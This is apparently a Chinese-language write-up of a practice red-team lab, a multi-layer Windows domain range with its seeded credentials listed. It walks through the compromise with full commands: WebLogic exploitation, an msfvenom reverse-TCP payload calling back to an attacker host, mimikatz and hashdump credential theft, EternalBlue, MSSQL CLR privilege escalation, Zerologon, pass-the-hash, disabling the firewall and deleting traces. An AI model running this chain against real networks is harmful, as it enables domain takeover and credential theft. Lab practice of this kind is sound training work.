前言
本次多層網絡域滲透項目旨在模擬滲透測試人員在授權的情況下對目標進行滲透測試, 從外網打點到內網橫向滲透, 最終獲取整個內網權限的過程.
環境搭建
靶場下載地址:
https://pan.baidu.com/s/1DOaDrsDsB2aW0sHSO_-fZQ
提取碼: vbi2
靶場網絡拓撲圖為:

各靶機信息:
域控: windows Server 2008 + IIS + Exchange 2013 郵件服務
目錄還原密碼: redteam!@#45
主機名: owa
域管理員: administrator:Admin12345!
域內服務器Mssql: Windows Server 2008 + SQL Server 2008 (被配置了非約束委派)
主機名: sqlserver-2008
本地管理員:Administrator:Admin12345
域賬戶: redteamsqlserver:Server12345 (被配置了約束委派)
Mssql: sa:sa
域內個人PC: Windows 7
主機名: work-7
本地管理員:john: admin!@#45
域賬戶: redteamsaul:admin!@#45
單機服務器: Windows server r2 + weblogic
主機名: weblogic
本地管理員:Administrator:Admin12345
weblogic : weblogic: weblogic123(訪問 http://ip:7001)
weblogic 安裝目錄: C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domain(手動運行下 startWebLogic.cmd)
其他域用戶:
域服務賬戶: redteamsqlserver:Server12345 (被配置了約束委派)
郵件用戶: redteammail:admin!@#45
加域賬戶: redteamadduser:Add12345
redteamsaulgoodman:Saul12345 (被配置了非約束委派)
redteamgu:Gu12345
redteamapt404:Apt12345
開啟Windows Server 2012 R2后, 在C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domain目錄下雙擊startWebLogic.cmd啟動weblogic.
滲透測試
單機服務器
假定我們已經拿到了靶標IP: 192.168.10.22. 利用Nmap對靶標進行簡易的掃描: nmap.exe -p1-65535 -Pn -A -T4 192.168.10.22.

根據掃描結果發現7001端口存在Oracle WebLogic, 掃一梭子看看有沒有漏洞, 從掃描結果來看還是存在挺多漏洞的.

直接上工具開打, 發現是administrator的權限, 直接注入內存馬, 冰蝎上線.


域內個人 PC
當拿下DMZ區域的機器后, 除了權限維持和權限提升, 對于橫向滲透通常分一下兩個方面:
- 判斷機器是否為多網卡機器, 然后掃描其他網段, 來發現更多存在漏洞的機器;
- 盡量收集機器上面的敏感信息, 比如敏感內部文件、賬號密碼本等, 幫助后面快速突破防線.
由于我們拿下的機器已經是administrator權限, 直接進行信息搜集即可, tasklist查看進程發現不存在殺軟.

利用msfvenom生成一個payload: msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.9 LPORT=7777 -f exe > shell.exe, 上傳到靶機后, MSF上線.

抓一下密碼:
- 抓取自動登錄的密碼:
run windows/gather/credentials/windows_autologin. - 導出密碼哈希:
hashdump.


拿到Administrator的密碼Admin12345, 同時查詢域信息:

查詢網絡信息發現是雙網卡, 利用fscan掃描一下網段: fscan64.exe -h 10.10.20.0/24 > result.txt, 發現網段內存在新的機器10.10.20.7, 445端口是開放的, 疑似存在MS17-010漏洞.



添加路由, 掃描一下MS17-010.
run get_local_subnets
run autoroute -s 10.10.20.0/24
run autoroute -p
search ms17-010
use 3
set rhost 10.10.20.7
run


發現的確存在MS17-010, 利用exploit/windows/smb/ms17_010_eternalblue進行攻擊, 成功拿下該機器.
search ms17-010
use 0
set payload windows/x64/meterpreter/bind_tcp
set lport 11111
run

先查看一下權限, 發現直接就是system權限, 也不需要進行提權的操作, 用mimikatz抓一下密碼, 發現該主機在域環境redteam.red內, 并且拿到一組域賬戶的用戶名和密碼: saul:admin!@#45.
load mimikatz
creds_all

用其他的方式繼續抓一下密碼, 成功拿到一組本地用戶的用戶名及密碼: john:admin!@#45.
hashdump
run windows/gather/smart_hashdump
run windows/gather/credentials/windows_autologin

域內服務器 Mssql
查看網段發現新網段, 繼續添加路由.

上傳一個fscan, 掃描一下網段, 發現存在一臺Windows Server 2008 R2機器: 10.10.10.18, 開放了1433端口, 并且獲得一組弱口令: sa:sa.

MSF配合Proxifier開啟socks代理隧道, 利用SharpSQLTools執行命令, 發現是10.10.10.18機器是一個低權限的賬號network service.

參考MSSQL 利用 CLR 技術執行系統命令中的方法, 進行clr提權, 成功提權到system權限.
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami

利用exploit/windows/mssql/mssql_clr_payload模塊, 先用低權限賬號上線, 接著上傳木馬, 利用SharpSQLTools運行得到高權限.

接著使用mimikatz抓取一下憑證, 得到兩個用戶的用戶名和密碼: Administrator:Admin12345, sqlserver:Server12345.

域控
由于不存在新的網段了, 在前面fscan的掃描結果中還存在一個10.10.10.8的地址, 不出意外該地址的機器就是域控了, 下面看看該如何拿下該臺機子.

先確定一下該臺機器是否是域控制器, 常見的方法有:
-
掃描內網中同時開放
389和53端口的機器. -
查看域控制器組:
net group "domain controllers" /domain.

- 查看域控的機器名:
nslookup redteam.red; nslookup -type=SRV _ldap._tcp.

- 查看域控當前時間:
net time /domain.

確定該臺機器是域控制器后, 根據其版本信息嘗試用Netlogon特權提升漏洞CVE-2020-1472進行攻擊, 詳細內容見內網滲透-賬號提權.
在驗證存在Netlogon特權提升漏洞后, 先重置一下域賬號, 置空密碼: Python/ target=_blank class=infotextkey>Python cve-2020-1472-exploit.py OWA 10.10.10.8.

接著讀取域控中的hash: python secretsdump.py redteam.red/[email protected] -just-dc -no-pass.

獲取到的hash后利用impacket中的wmiexec.py腳本進行登錄, 成功拿到shell: python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e redteam.red/[email protected] -codec gbk.

此時, 成功獲取到了域控的shell. 但是這個shell并不是穩定的, 真實環境中我們還需要進一步進行權限維持的操作, 在得到hash之后, 先利用前面獲取到的shell關閉一下防火墻: netsh advfirewall set allprofiles state off, 接著便可以使用PSEXEC模塊上線MSF并進行后續的操作了.
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.8
set lport 4446
run

需要注意的是, 在做完權限維持后要及時恢復域控的密碼, 不然域控會脫域.
我們先導出SAM中原來的hash, 利用MSF的shell下載下來并及時刪除, 清理痕跡.
reg save HKLMSYSTEM system.save reg save HKLMSAM sam.save reg save HKLMSECURITY security.save download C:\sam.save C:\Users\95235\Desktop\sam.save download C:\security.save C:\Users\95235\Desktop\security.save download C:\system.save C:\Users\95235\Desktop\system.save del /f sam.save del /f system.save del /f security.save



接著利用腳本secretsdump.py查看一下域控的hash: python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL.

利用腳本reinstall_original_pw.py恢復hash: python reinstall_original_pw.py OWA 10.10.10.8 f4044edaafbdca41a6e53d234c14ab9a.

最后利用空密碼再次進行連接來驗證是否恢復成功: python secretsdump.py redteam.red/[email protected] -just-dc -no-pass.

效果圖

總結
由于打過幾次線下的CFS靶場, 使用CS感覺不佳, 本次打靶過程中就只使用了MSF, 正好鍛煉一下自己對于MSF各功能的使用, 打靶過程中的收獲還是挺大的. 靶機附件里面也給出了一個靶場存在漏洞的說明, 感興趣的師傅們也可以根據漏洞說明嘗試一下其他的打法.

對于靶機要說明的就是網盤里面分享的是一個完整的壓縮包然后從中間直接拆分出來的兩個數據塊, 使用的時候合并起來就行. 另一個sqlserver-2008那臺機器的Sql Server 2008好像過期了, 我是用命令行直接開啟的: net start mssqlserver.






